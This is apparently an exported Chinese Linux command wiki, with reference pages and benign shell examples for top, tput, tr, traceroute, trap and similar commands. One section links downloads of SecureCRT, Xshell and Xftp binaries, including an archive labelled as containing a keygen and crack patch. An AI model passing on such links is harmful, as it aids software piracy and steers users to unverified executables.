[[kexec]]
[[kill]]
[[killall]]
[[killall5]]
[[last]]
[[lastb]]
[[lastlog]]
[[less]]
[[lftp]]
[[lftpget]]
[[links]]
[[losetup]]
[[ls]]
[[lsb_release]]
[[lscpu]]
[[lshw]]
[[lsmod]]
[[lvscan]]
[[makewhatis]]
[[man]]
[[mandb]]
[[mc]]
[[mesg]]
[[mkdir]]
[[mkfs.xfs]]
[[mkmod]]
[[mmv]]
[[modinfo]]
[[modprobe]]
[[more]]
[[mv]]
[[n2n]]
[[netsh]]
[[netstat]]
[[newgrp]]
[[nload]]
[[nmap]]
[[nohup]]
[[ntsysv]]
[[ocrmypdf]]
[[ovftool]]
[[passwd]]
[[paste]]
[[pidof]]
[[ping]]
[[pip]]
[[poweroff]]
[[ps]]
[[pstree]]
[[pvcreate]]
[[pvremove]]
[[pwd]]
[[ranger]]
[[readlink]]
[[realpath]]
[[reboot]]
[[rename]]
[[reset]]
[[rev]]
[[rm]]
[[rmmod]]
[[rndc]]
[[robocopy]]
[[route]]
[[rpm]]
[[rsync]]
[[runlevel]]
[[rz]]
[[sar]]
[[screen]]
[[sed]]
[[seq]]
[[service]]
[[set]]
[[setsid]]
[[shred]]
[[shutdown]]
[[sort]]
[[source]]
[[split]]
[[ss]]
[[ssh-add]]
[[ssh-keygen]]
[[stat]]
[[su]]
[[sz]]
[[tac]]
[[tail]]
[[tar]]
[[tcpdump]]
[[tee]]
[[telnet.client]]
[[test]]
[[time]]
[[touch]]
[[traceroute]]
[[trap]]
[[tree]]
[[true]]
[[tsar]]
[[tty]]
[[type]]
[[typeset]]
[[ulimit]]
[[umask]]
[[uname]]
[[uniq]]
[[unset]]
[[useradd]]
[[userdel]]
[[usermod]]
[[vboxmanage]]
[[vgcreate]]
[[vim]]
[[vmrun]]
[[vmrun]]
[[volname]]
[[w]]
[[wall]]
[[watch]]
[[wc]]
[[wget]]
[[whatis]]
[[whereis]]
[[which]]
[[who]]
[[whoami]]
[[write]]
[[wslconfig]]
[[xhost]]
[[yum]]
[[zcat]]
[[zerotier-one]]

</pre>
* [[extundelete]]

* [[pvcreate]]
* [[pvdisplay]]
* [[pvremove]]
* [[pvmove]]
* [[vgcreate]]
* [[vgs]]
* [[vgdisplay]]
* [[vgreduce]]
* [[vgextend]]
* [[vgchange]]
* [[vgimport]]
* [[vgexport]]
* [[vgrename]]
* [[lvs]]
* [[lvcreate]]
* [[lvdisplay]]
* [[lvscan]]
* [[lvrename]]
* [[lvextend]]
* [[resize2fs]]
* [[xfs_resize]]
* [[lvreduce]]

* [[expect]]
* [[eval]]
* [[time]]
* [[modinfo]]

---

* [[arping]]

---

浏览器上打开一个网站 , 中间发生了什么 .
[[secureCRT 64位_8.1.3.1382.exe|http://linux.oh-doc.cn/tools/secureCRT 64位_8.1.3.1382.exe]]

[[SecureCRT8.0绿色版+注册机+汉化补丁.zip|http://linux.oh-doc.cn/tools/SecureCRT8.0绿色版+注册机+汉化补丁.zip]]

[[Xftp-6.0.0079p.exe|http://linux.oh-doc.cn/tools/Xftp-6.0.0079p.exe]]

[[Xshell-5.0.1339p.exe|http://linux.oh-doc.cn/tools/Xshell-5.0.1339p.exe]]


;31a0f646d8b3c15a4619db1ddd6ddd16  secureCRT 64位_8.1.3.1382.exe
;e8d59a504a88add771c930ae92da986d  ~SecureCRT8.0绿色版+注册机+汉化补丁.zip
;289b4a919f6acaef26b3a19235524f3f  Xftp-6.0.0079p.exe
;ab1a4afb4894b71a3dc4de84a84e7126  Xshell-5.0.1339p.exe
!!简介
:<div>
top
===

显示或管理执行中的程序

</div>

!! 补充说明

:<div>


"top命令" 可以实时动态地查看系统的整体运行情况,是一个综合了多方信息监测系统性能和运行信息的实用工具。通过top命令所提供的互动式界面,用热键可以管理。

</div>

!! 语法  

:<div>


```
top(选项)
```

</div>

!! 选项  

:<div>


```
-b:以批处理模式操作;
-c:显示完整的治命令;
-d:屏幕刷新间隔时间;
-I:忽略失效过程;
-s:保密模式;
-S:累积模式;
-i<时间>:设置间隔时间;
-u<用户名>:指定用户名;
-p<进程号>:指定进程;
-n<次数>:循环显示的次数。
```

</div>

!! top交互命令  

:<div>


在top命令执行过程中可以使用的一些交互命令。这些命令都是单字母的,如果在命令行中使用了-s选项, 其中一些命令可能会被屏蔽。

```
h:显示帮助画面,给出一些简短的命令总结说明;
k:终止一个进程;
i:忽略闲置和僵死进程,这是一个开关式命令;
q:退出程序;
r:重新安排一个进程的优先级别;
S:切换到累计模式;
s:改变两次刷新之间的延迟时间(单位为s),如果有小数,就换算成ms。输入0值则系统将不断刷新,默认值是5s;
f或者F:从当前显示中添加或者删除项目;
o或者O:改变显示项目的顺序;
l:切换显示平均负载和启动时间信息;
m:切换显示内存信息;
t:切换显示进程和CPU状态信息;
c:切换显示命令名称和完整命令行;
M:根据驻留内存大小进行排序;
P:根据CPU使用百分比大小进行排序;
T:根据时间/累计时间进行排序;
w:将当前设置写入~/.toprc文件中。
```

</div>

!! 实例  

:<div>


```
top - 09:44:56 up 16 days, 21:23,  1 user,  load average: 9.59, 4.75, 1.92
Tasks: 145 total,   2 running, 143 sleeping,   0 stopped,   0 zombie
Cpu(s): 99.8%us,  0.1%sy,  0.0%ni,  0.2%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
Mem:   4147888k total,  2493092k used,  1654796k free,   158188k buffers
Swap:  5144568k total,       56k used,  5144512k free,  2013180k cached
```

 "解释:" 

*   top - 09:44:56[当前系统时间],
*   16 days[系统已经运行了16天],
*   1 user[个用户当前登录],
*   load average: 9.59, 4.75, 1.92[系统负载,即任务队列的平均长度]
*   Tasks: 145 total[总进程数],
*   2 running[正在运行的进程数],
*   143 sleeping[睡眠的进程数],
*   0 stopped[停止的进程数],
*   0 zombie[冻结进程数],
*   Cpu(s): 99.8%us[用户空间占用CPU百分比],
*   0.1%sy[内核空间占用CPU百分比],
*   0.0%ni[用户进程空间内改变过优先级的进程占用CPU百分比],
*   0.2%id[空闲CPU百分比], 0.0%wa[等待输入输出的CPU时间百分比],
*   0.0%hi[],
*   0.0%st[],
*   Mem: 4147888k total[物理内存总量],
*   2493092k used[使用的物理内存总量],
*   1654796k free[空闲内存总量],
*   158188k buffers[用作内核缓存的内存量]
*   Swap:  5144568k total[交换区总量],
*   56k used[使用的交换区总量],
*   5144512k free[空闲交换区总量],
*   2013180k cached[缓冲的交换区总量],


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
''touch''命令有两个功能:一是用于把已存在文件的时间标签更新为系统当前的时间(默认方式),它们的数据将原封不动地保留下来;二是用来创建新的空文件。

!选项
	* `-a`:或--time=atime或--time=access或--time=use  只更改存取时间;
	* `-c`:或--no-create  不建立任何文件;
	* `-d`:<时间日期> 使用指定的日期时间,而非现在的时间;
	* `-f`:此参数将忽略不予处理,仅负责解决BSD版本touch指令的兼容性问题;
	* `-m`:或--time=mtime或--time=modify  只更该变动时间;
	* `-r`:<参考文件或目录>  把指定文件或目录的日期时间,统统设成和参考文件或目录的日期时间相同;
	* `-t`:<日期时间>  使用指定的日期时间,而非现在的时间;
	* `--help`:在线帮助;
	* `--version`:显示版本信息。

!exp

```
# 设置时间戳
touch f1
touch -d 2018-09-01 f1
ll f1
```
!!简介
:<div>
tput
===

通过terminfo数据库对终端会话进行初始化和操作

</div>

!! 补充说明

:<div>


"tput命令" 将通过 terminfo 数据库对您的终端会话进行初始化和操作。通过使用 tput,您可以更改几项终端功能,如移动或更改光标、更改文本属性,以及清除终端屏幕的特定区域。

</div>

!! 什么是 terminfo 数据库?  

:<div>


UNIX 系统上的 terminfo 数据库用于定义终端和打印机的属性及功能,包括各设备(例如,终端和打印机)的行数和列数以及要发送至该设备的文本的属性。UNIX 中的几个常用程序都依赖 terminfo 数据库提供这些属性以及许多其他内容,其中包括 vi 和 emacs 编辑器以及 curses 和 man 程序。

与 UNIX 中的大多数命令一样,tput 命令既可以用在 shell 命令行中也可以用在 shell 脚本中。为让您更好地理解 tput,本文首先从命令行讲起,然后紧接着讲述 shell 脚本示例。

 "光标属性" 

在 UNIX shell 脚本中或在命令行中,移动光标或更改光标属性可能是非常有用的。有些情况下,您可能需要输入敏感信息(如密码),或在屏幕上两个不同的区域输入信息。在此类情况下,使用 tput 可能会对您有所帮助。

```
tput clear # 清屏
tput sc # 保存当前光标位置
tput cup 10 13 # 将光标移动到 row col
tput civis # 光标不可见
tput cnorm # 光标可见
tput rc # 显示输出
exit 0
```

 "移动光标" 

使用 tput 可以方便地实现在各设备上移动光标的位置。通过在 tput 中使用 cup 选项,或光标位置,您可以在设备的各行和各列中将光标移动到任意 X 或 Y 坐标。设备左上角的坐标为 (0,0)。

要在设备上将光标移动到第 5 列 (X) 的第 1 行 (Y),只需执行 tput cup 5 1。另一个示例是 tput cup 23 45,此命令将使光标移动到第 23 列上的第 45 行。

 "移动光标并显示信息" 

另一种有用的光标定位技巧是移动光标,执行用于显示信息的命令,然后返回到前一光标位置:

```
(tput sc ; tput cup 23 45 ; echo “Input from tput/echo at 23/45” ; tput rc)
```

下面我们分析一下 subshell 命令:

```
tput sc
```

必须首先保存当前的光标位置。要保存当前的光标位置,请包括 sc 选项或“save cursor position”。

```
tput cup 23 45
```

在保存了光标位置后,光标坐标将移动到 (23,45)。

```
echo “Input from tput/echo at 23/45”
```

将信息显示到 stdout 中。

```
tput rc
```

在显示了这些信息之后,光标必须返回到使用 tput sc 保存的原始位置。要使光标返回到其上次保存的位置,请包括 rc 选项或“restore cursor position”。

注意:由于本文首先详细介绍了通过命令行执行 tput,因此您可能会觉得在自己的 subshell 中执行命令要比单独执行每条命令然后在每条命令执行之前显示提示更简洁。

 "更改光标的属性" 

在向某一设备显示数据时,很多时候您并不希望看到光标。将光标转换为不可见可以使数据滚动时的屏幕看起来更整洁。要使光标不可见,请使用 civis 选项(例如,tput civis)。在数据完全显示之后,您可以使用 cnorm 选项将光标再次转变为可见。

 "文本属性" 

更改文本的显示方式可以让用户注意到菜单中的一组词或警惕用户注意某些重要的内容。您可以通过以下方式更改文本属性:使文本加粗、在文本下方添加下划线、更改背景颜色和前景颜色,以及逆转颜色方案等。

要更改文本的颜色,请使用 setb 选项(用于设置背景颜色)和 setf 选项(用于设置前景颜色)以及在 terminfo 数据库中分配的颜色数值。通常情况下,分配的数值与颜色的对应关系如下,但是可能会因 UNIX 系统的不同而异:

*   0:黑色
*   1:蓝色
*   2:绿色
*   3:青色
*   4:红色
*   5:洋红色
*   6:黄色
*   7:白色

执行以下示例命令可以将背景颜色更改为黄色,将前景颜色更改为红色:

```
tput setb 6 tput setf 4
```

要反显当前的颜色方案,只需执行`tput rev`。

有时,仅为文本着色还不够,也就是说,您想要通过另一种方式引起用户的注意。可以通过两种方式达到这一目的:一是将文本设置为粗体,二是为文本添加下划线。

要将文本更改为粗体,请使用 bold 选项。要开始添加下划线,请使用 smul 选项。在完成显示带下划线的文本后,请使用 rmul 选项。

</div>

!! 实例  

:<div>


使输出的字符串有颜色,底色,加粗:

```
#!/bin/bash
printf $(tput setaf 2; tput bold)'color show\n\n'$(tput sgr0)

for((i=0; i<=7; i++)); do
    echo $(tput setaf $i)"show me the money"$(tput sgr0)
done

printf '\n'$(tput setaf 2; tput setab 0; tput bold)'background color show'$(tput sgr0)'\n\n'

for((i=0,j=7; i<=7; i++,j--)); do
    echo $(tput setaf $i; tput setab $j; tput bold)"show me the money"$(tput sgr0)
done

exit 0
```

输出格式控制函数:

```
#!/bin/bash

# $1 str       print string
# $2 color     0-7 设置颜色
# $3 bgcolor   0-7 设置背景颜色
# $4 bold      0-1 设置粗体
# $5 underline 0-1 设置下划线

function format_output(){
    str=$1
    color=$2
    bgcolor=$3
    bold=$4
    underline=$5
    normal=$(tput sgr0)

    case "$color" in
        0|1|2|3|4|5|6|7)
            setcolor=$(tput setaf $color;) ;;
        *)
            setcolor="" ;;
    esac

    case "$bgcolor" in
        0|1|2|3|4|5|6|7)
            setbgcolor=$(tput setab $bgcolor;) ;;
        *)
            setbgcolor="" ;;
    esac

    if [ "$bold" = "1" ]; then
        setbold=$(tput bold;)
    else
        setbold=""
    fi

    if [ "$underline" = "1" ]; then
        setunderline=$(tput smul;)
    else
        setunderline=""
    fi

    printf "$setcolor$setbgcolor$setbold$setunderline$str$normal\n"
}

format_output "Yesterday Once more" 2 5 1 1

exit 0
```

光标属性例子:

```
#!/bin/bash
# clear the screen
tput clear
# Move cursor to screen location X,Y (top left is 0,0)
tput cup 3 15
# set a foreground colour using ANSI escape
tput setaf 3
echo "XYX Corp LTD."
tput sgr0
tput cup 5 17
# Set reverse video mode
tput rev
echo "M A I N - M E N U"
tput sgr0
tput cup 7 15
echo "1\. User Management"
tput cup 8 15
echo "2\. service Management"
tput cup 9 15
echo "3\. Process Management"
tput cup 10 15
echo "4\. Backup"
# Set bold mode
tput bold
tput cup 12 15
read -p "Enter your choice [1-4] " choice
tput clear
tput sgr0
tput rc

exit 0
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
tags: cmd
title: tr

!!简介
:<div>
tr
===

将字符进行替换压缩和删除

</div>

!! 补充说明

:<div>


"tr命令" 可以对来自标准输入的字符进行替换、压缩和删除。它可以将一组字符变成另一组字符,经常用来编写优美的单行命令,作用很强大。

</div>

!! 语法  

:<div>


```
tr(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-c或——complerment:取代所有不属于第一字符集的字符;
-d或——delete:删除所有属于第一字符集的字符;
-s或--squeeze-repeats:把连续重复的字符以单独一个字符表示;
-t或--truncate-set1:先删除第一字符集较第二字符集多出的字符。
```

</div>

!! 参数  

:<div>


*   字符集1:指定要转换或删除的原字符集。当执行转换操作时,必须使用参数“字符集2”指定转换的目标字符集。但执行删除操作时,不需要参数“字符集2”;
*   字符集2:指定要转换成的目标字符集。

|\NNN           | character with octal value NNN (1 to 3 octal digits)       |
|\\             |backslash                                                   |
|\a             |audible BEL                                                 |
|\b             |backspace                                                   |
|\f             |form feed                                                   |
|\n             |new line                                                    |
|\r             |return                                                      |
|\t             |horizontal tab                                              |
|\v             |vertical tab                                                |
|CHAR1-CHAR2    |all characters from CHAR1 to CHAR2 in ascending order       |
|[CHAR*]        |in SET2, copies of CHAR until length of SET1                |
|[CHAR*REPEAT]  |REPEAT copies of CHAR, REPEAT octal if starting with 0      |
|[:alnum:]      |all letters and digits                                      |
|[:alpha:]      |all letters                                                 |
|[:blank:]      |all horizontal whitespace                                   |
|[:cntrl:]      |all control characters                                      |
|[:digit:]      |all digits                                                  |
|[:graph:]      |all printable characters, not including space               |
|[:lower:]      |all lower case letters                                      |
|[:print:]      |all printable characters, including space                   |
|[:punct:]      |all punctuation characters                                  |
|[:space:]      |all horizontal or vertical whitespace                       |
|[:upper:]      |all upper case letters                                      |
|[:xdigit:]     |all hexadecimal digits                                      |
|[=CHAR=]       |all characters which are equivalent to CHAR                 |

</div>

!! 实例  

:<div>


将输入字符由大写转换为小写:

```
echo "HELLO WORLD" | tr 'A-Z' 'a-z'
hello world

```

'A-Z' 和 'a-z'都是集合,集合是可以自己制定的,例如:'ABD-}'、'bB.,'、'a-de-h'、'a-c0-9'都属于集合,集合里可以使用'\n'、'\t',可以可以使用其他ASCII字符。

使用tr删除字符:

```
echo "hello 123 world 456" | tr -d '0-9'
hello  world 
```

将制表符转换为空格:

```
cat text | tr '\t' ' '
```

字符集补集,从输入文本中将不在补集中的所有字符删除:

```
echo aa.,a 1 b#$bb 2 c*/cc 3 ddd 4 | tr -d -c '0-9 \n'
 1  2  3  4

```

此例中,补集中包含了数字0~9、空格和换行符\n,所以没有被删除,其他字符全部被删除了。

用tr压缩字符,可以压缩输入中重复的字符:

```
echo "thissss is      a text linnnnnnne." | tr -s ' sn'
this is a text line.
```

巧妙使用tr做数字相加操作:

```
echo 1 2 3 4 5 6 7 8 9 | xargs -n1 | echo $[ $(tr '\n' '+') 0 ]

```

删除Windows文件“造成”的'^M'字符:

```
cat file | tr -s "\r" "\n" > new_file
或
cat file | tr -d "\r" > new_file
```

 "tr可以使用的字符类:" 

```
[:alnum:]:字母和数字
[:alpha:]:字母
[:cntrl:]:控制(非打印)字符
[:digit:]:数字
[:graph:]:图形字符
[:lower:]:小写字母
[:print:]:可打印字符
[:punct:]:标点符号
[:space:]:空白字符
[:upper:]:大写字母
[:xdigit:]:十六进制字符  
```

使用方式:

```
tr '[:lower:]' '[:upper:]'
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
tracepath
===

追踪目的主机经过的路由信息

</div>

!! 补充说明

:<div>


"tracepath命令" 用来追踪并显示报文到达目的主机所经过的路由信息。

</div>

!! 语法  

:<div>


```
tracepath(参数)
```

</div>

!! 参数  

:<div>


*   目的主机:指定追踪路由信息的目的主机;
*   端口:指定使用的UDP端口号。

</div>

!! 实例  

:<div>


```
tracepath www.58.com
 1:  192.168.2.10 (192.168.2.10)                           20.150ms pmtu 1500
 1:  unknown (192.168.2.1)                                  9.343ms
 2:  221.6.45.33 (221.6.45.33)                             34.430ms
 3:  221.6.9.81 (221.6.9.81)                               19.263ms
 4:  122.96.66.37 (122.96.66.37)                           54.372ms
 5:  219.158.96.149 (219.158.96.149)                      asymm  6 128.526ms
 6:  123.126.0.66 (123.126.0.66)                          138.281ms
 7:  124.65.57.26 (124.65.57.26)                          166.244ms
 8:  61.148.154.98 (61.148.154.98)                        103.723ms
 9:  202.106.42.102 (202.106.42.102)                      asymm 10  78.099ms
10:  210.77.139.150 (210.77.139.150)                      asymm  9 199.930ms
11:  211.151.104.6 (211.151.104.6)                        asymm 10 121.965ms
12:  no reply
13:  211.151.111.30 (211.151.111.30)                      asymm 12 118.989ms reached
     Resume: pmtu 1500 hops 13 back 12
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
`traceroute`命令用于追踪数据包在网络上的传输时的全部路径,它默认发送的数据包大小是40字节。

通过traceroute我们可以知道信息从你的计算机到互联网另一端的主机是走的什么路径。当然每次数据包由某一同样的出发点(source)到达某一同样的目的地(destination)走的路径可能会不一样,但基本上来说大部分时候所走的路由是相同的。

traceroute通过发送小的数据包到目的设备直到其返回,来测量其需要多长时间。一条路径上的每个设备traceroute要测3次。输出结果中包括每次测试的时间(ms)和设备的名称(如有的话)及其ip地址。

!选项
:<pre>

```
-d:使用Socket层级的排错功能;
-f<存活数值>:设置第一个检测数据包的存活数值TTL的大小;
-F:设置勿离断位;
-g<网关>:设置来源路由网关,最多可设置8个;
-i<网络界面>:使用指定的网络界面送出数据包;
-I:使用ICMP回应取代UDP资料信息;
-m<存活数值>:设置检测数据包的最大存活数值TTL的大小;
-n:直接使用IP地址而非主机名称;
-p<通信端口>:设置UDP传输协议的通信端口;
-r:忽略普通的Routing Table,直接将数据包送到远端主机上。
-s<来源地址>:设置本地主机送出数据包的IP地址;
-t<服务类型>:设置检测数据包的TOS数值;
-v:详细显示指令的执行过程;
-w<超时秒数>:设置等待远端主机回报的时间;
-x:开启或关闭数据包的正确性检验。选项
-d:使用Socket层级的排错功能;
-f<存活数值>:设置第一个检测数据包的存活数值TTL的大小;
-F:设置勿离断位;
-g<网关>:设置来源路由网关,最多可设置8个;
-i<网络界面>:使用指定的网络界面送出数据包;
-I:使用ICMP回应取代UDP资料信息;
-m<存活数值>:设置检测数据包的最大存活数值TTL的大小;
-n:直接使用IP地址而非主机名称;
-p<通信端口>:设置UDP传输协议的通信端口;
-r:忽略普通的Routing Table,直接将数据包送到远端主机上。
-s<来源地址>:设置本地主机送出数据包的IP地址;
-t<服务类型>:设置检测数据包的TOS数值;
-v:详细显示指令的执行过程;
-w<超时秒数>:设置等待远端主机回报的时间;
-x:开启或关闭数据包的正确性检验。
```
</pre>
!exp 

<pre>

```bash
#traceroute google.com
traceroute to google.com (172.217.14.206), 64 hops max, 40 byte packets
 1  205.166.94.3 (205.166.94.3)  5.200 ms  7.293 ms  7.008 ms
 2  ge4-2.core2.sea2.hopone.net (209.160.60.221)  8.221 ms  9.408 ms  10.026 ms
 3  xe1-0.core1.sea1.hopone.net (66.36.224.18)  5.450 ms  11.592 ms  22.365 ms
 4  six.sea01.google.com (206.81.80.17)  24.208 ms  23.722 ms  35.982 ms
 5  74.125.243.177 (74.125.243.177)  7.625 ms  2.332 ms  2.048 ms
 6  209.85.254.237 (209.85.254.237)  2.113 ms
    209.85.254.171 (209.85.254.171)  2.023 ms
    209.85.254.237 (209.85.254.237)  2.085 ms
 7  sea30s01-in-f14.1e100.net (172.217.14.206)  1.974 ms  1.059 ms  1.028 ms
```


记录按序列号从1开始,每个纪录就是一跳 ,每跳表示一个网关,我们看到每行有三个时间,单位是ms,其实就是-q的默认参数。探测数据包向每个网关发送三个数据包后,网关响应后返回的时间;如果用traceroute -q 4 www.58.com,表示向每个网关发送4个数据包。

有时我们traceroute一台主机时,会看到有一些行是以星号表示的。出现这样的情况,可能是防火墙封掉了ICMP的返回信息,所以我们得不到什么相关的数据包返回数据。

有时我们在某一网关处延时比较长,有可能是某台网关比较阻塞,也可能是物理设备本身的原因。当然如果某台DNS出现问题时,不能解析主机名、域名时,也会 有延时长的现象;您可以加-n参数来避免DNS解析,以IP格式输出数据。

如果在局域网中的不同网段之间,我们可以通过traceroute 来排查问题所在,是主机的问题还是网关的问题。如果我们通过远程来访问某台服务器遇到问题时,我们用到traceroute 追踪数据包所经过的网关,提交IDC服务商,也有助于解决问题;但目前看来在国内解决这样的问题是比较困难的,就是我们发现问题所在,IDC服务商也不可能帮助我们解决。
</pre>
!1. 描述 
:<div>

trap命令用于指定在接收到信号后将要采取的动作,常见的用途是在脚本程序被中断时完成清理工作。当shell接收到sigspec指定的信号时,arg参数(命令)将会被读取,并被执行。例如:

```bash
trap "exit 1" HUP INT PIPE QUIT TERM
```
表示当shell收到HUP INT PIPE QUIT TERM这几个命令时,当前执行的程序会读取参数“exit 1”,并将它作为命令执行。

[[中断信号]]
</div>



!捕获信号
:<div>

;语法

:<div>

当你按下 Ctrl + C 键或 Break 键在终端一个shell程序的执行过程中,正常程序将立即终止,并返回命令提示符。这可能并不总是可取的。例如,你可能最终留下了一堆临时文件,将不会清理。

捕获这些信号是很容易的,trap命令的语法如下:

```bash
$ trap commands signals
```
这里的命令可以是任何有效的Linux命令,或一个用户定义的函数,信号可以是任意数量的信号,你想来捕获的列表。
</div>

;在shell脚本中的陷阱有三种常见的用途:

:清理临时文件

:忽略信号

;1. 清理临时文件:

:<div>

trap命令作为一个例子,下面展示了如何可以删除一些文件,然后退出,如果有人试图从终端中止程序:

```bash
trap "rm -f $WORKDIR/work1$$ $WORKDIR/dataout$$; exit" 2
```
执行shell程序,这个陷阱的角度,这两个文件work1$$ 和 dataout$$将被自动删除,如果程序接收信号数为2。

因此,用户中断执行,如果执行的程序后,这个陷阱你可以放心,这两个文件将被清理。 exit 命令如下 rm 是必要的,因为没有它的执行将继续在节目中的一点,它离开时收到信号。

1号信号产生挂断:要么有人故意挂断线路或线路被意外断开。

您可以修改前面的陷阱也删除指定的文件,在这种情况下,两个信号信号1号添加到列表:

```bash
$ trap "rm $WORKDIR/work1$$ $WORKDIR/dataout$$; exit" 1 2
```
现在,这些文件将被删除,如果该行被挂了,或者按Ctrl c键被按下。

来捕获指定的命令必须用引号括起来,如果它们包含一个以上的命令。另外请注意,在 shell 命令行扫描 trap 命令得到执行,并再次当一个所列出的的信号被接收的时间。

WORKDIR 值 $$ 所以在前面的例子中,将被取代 trap 命令执行的时间。如果你想这种替代发生在收到信号1或2的时间你可以把单引号内的命令:

```bash
$ trap 'rm $WORKDIR/work1$$ $WORKDIR/dataout$$; exit' 1 2
```
</div>

;2. 忽略信号:

:<div>

如果陷阱列出的命令是空的,指定的信号接收时,将被忽略。例如,下面的命令:

```bash
$ trap '' 2
```
指定的中断信号是被忽略的。你可能要忽略某些信号时进行一些操作,不希望打断。可以指定多个信号被忽略如下:

```bash
$ trap '' 1 2 3 15
```
注意,第一个参数必须被指定为一个信号被忽略,而不是相当于写入下面的内容,它具有独立的含义也各有:

```bash
$ trap  2
```
如果你忽略了一个信号,所有的子shell也忽略该信号。不过,如果指定要采取的行动在收到的信号,所有的子shell仍然会在收到该信号的默认操作。
</div>

;3. 重设陷阱:

:<div>

当你改变了默认在收到信号后应采取的动作,你可以改变它回来的陷阱,如果你只是省略第一个参数;

```bash
$ trap 1 2
```
复位应采取的动作收到信号1或2返回默认。
</div>
</div>

!示例
:<div>

```bash
# trap #捕获系统信号
# 在下次trap之前指定的中断信号将被捕获
function trap_test()
{   

    trap 'echo haha' 2
    trap -p
    for i in {1..10};do
        echo $i
        sleep 0.5
    done

    trap '' 2
    trap -p
    for i in {11..20};do
        echo $i
        sleep 0.5
    done
    
    trap '-' 2
    trap -p
    for i in {11..20};do
        echo $i
        sleep 0.5
    done
    trap -p
}

```

```bash
#bash 提供的一个叫做 EXIT 的伪信号,
#trap 它,当脚本因为任何原因退出时,相应的命令或函数就会执行。

#示例
#!/bin/bash
function finish {
  # 你的收尾代码
}
trap finish EXIT

```
;场景1: 删除临时数据
:<div>

```bash

#!/bin/bash
scratch=$(mktemp -d -t tmp.XXXXXXXXXX)
function finish {
  rm -rf "$scratch"
}
trap finish EXIT

# 下载所有版本的 linux 内核…… 为了科学研究!
for major in {1..4}; do
  for minor in {0..99}; do
    for patchlevel in {0..99}; do
      tarball="linux-${major}-${minor}-${patchlevel}.tar.bz2"
      curl -q "http://kernel.org/path/to/$tarball" -o "$scratch/$tarball" || true
      if [ -f "$scratch/$tarball" ]; then
        tar jxf "$scratch/$tarball"
      fi
    done
  done
done
# 整合成单个文件
# 复制到目标位置
cp "$scratch/frankenstein-linux.tar.bz2" "$1"
# 脚本结束, scratch 目录自动被删除



```
</div>

;场景2:确保服务在线 
:<div>

```bash
function finish {
    # 重启服务
    sudo /etc/init.d/something start
}
trap finish EXIT
sudo /etc/init.d/something stop
# 主要任务代码

# 脚本结束,执行 finish 函数重启服务

```
</div>


;场景3删除临时实例 
:<div>


```bash
#!/bin/bash
# 示例没有相关业务代码 , 主要领会精神
# 定义基准 AMI 的 ID
ami=$1
# 保存临时实例的 ID
instance=''
# 作为 IT 人,让我们看看 scratch 目录的另类用法
scratch=$(mktemp -d -t tmp.XXXXXXXXXX)
function finish {
    if [ -n "$instance" ]; then
        ec2-terminate-instances "$instance"
    fi
    rm -rf "$scratch"
}
trap finish EXIT
# 创建实例,将输出(包含实例 ID )保存到 scratch 目录下的文件里
ec2-run-instances "$ami" > "$scratch/run-instance"
# 提取实例 ID
instance=$(grep '^INSTANCE' "$scratch/run-instance" | cut -f 2)

```
</div>


;参考
:<div>

```bash

#作者:Linux中国
#链接:https://zhuanlan.zhihu.com/p/36831519
#来源:知乎
#著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
```
</div>

</div>
* tree
    ** 层级
    ** 文件/文件夹
    ** 正则表达式
```
[root@qs02 ~]# help true
true: true
    Return a successful result.

    Exit Status:
    Always succeeds.

```

```bash
[root@qs02 ~]# false;echo $?;true;echo $?;false;echo $?;:;echo $?
1
0
1
0
```


!! 用法:tty [选项]...

```
显示出连接到当前标准输入的终端设备文件名。

  -s, --silent, --quiet	什么也不显示,只返回退出状态值
      --help		显示此帮助信息并退出
      --version		显示版本信息并退出

GNU coreutils online help: <http://www.gnu.org/software/coreutils/>
请向<http://translationproject.org/team/zh_CN.html> 报告tty 的翻译错误
要获取完整文档,请运行:info coreutils 'tty invocation'
```

```bash
$info coreutils 'tty invocation'

File: coreutils.info,  Node: tty invocation,  Prev: printenv invocation,  Up: Working context

19.4 'tty': Print file name of terminal on standard input
=========================================================

'tty' prints the file name of the terminal connected to its standard
input.  It prints 'not a tty' if standard input is not a terminal.
Synopsis:

     tty [OPTION]...

   The program accepts the following option.  Also see *note Common
options::.

'-s'
'--silent'
'--quiet'
     Print nothing; only return an exit status.

   Exit status:

     0 if standard input is a terminal
     1 if standard input is not a terminal
     2 if given incorrect arguments
     3 if a write error occurs

```
```
type: type [-afptP] name [name ...]
    Display information about command type.

    For each NAME, indicate how it would be interpreted if used as a
    command name.

    Options:
      -a	display all locations containing an executable named NAME;
    	includes aliases, builtins, and functions, if and only if
    	the `-p' option is not also used
      -f	suppress shell function lookup
      -P	force a PATH search for each NAME, even if it is an alias,
    	builtin, or function, and returns the name of the disk file
    	that would be executed
      -p	returns either the name of the disk file that would be executed,
    	or nothing if `type -t NAME' would not return `file'.
      -t	output a single word which is one of `alias', `keyword',
    	`function', `builtin', `file' or `', if NAME is an alias, shell
    	reserved word, shell function, shell builtin, disk file, or not
    	found, respectively

    Arguments:
      NAME	Command name to be interpreted.

    Exit Status:
    Returns success if all of the NAMEs are found; fails if any are not found.
typeset: typeset [-aAfFgilrtux] [-p] name[=value] ...
    Set variable values and attributes.

    Obsolete.  See `help declare'.
```
同declare

[[declare]]
! 简介
:<div>

```
ulimit命令用来限制系统用户对shell资源的访问。如果不懂什么意思,下面一段内容可以帮助你理解:

假设有这样一种情况,当一台 Linux 主机上同时登陆了 10 个人,在系统资源无限制的情况下,这 10 个用户同时打开了 500 个文档,而假设每个文档的大小有 10M,这时系统的内存资源就会受到巨大的挑战。

而实际应用的环境要比这种假设复杂的多,例如在一个嵌入式开发环境中,各方面的资源都是非常紧缺的,对于开启文件描述符的数量,分配堆栈的大 小,CPU 时间,虚拟内存大小,等等,都有非常严格的要求。资源的合理限制和分配,不仅仅是保证系统可用性的必要条件,也与系统上软件运行的性能有着密不可分的联 系。这时,ulimit 可以起到很大的作用,它是一种简单并且有效的实现资源限制的方式。

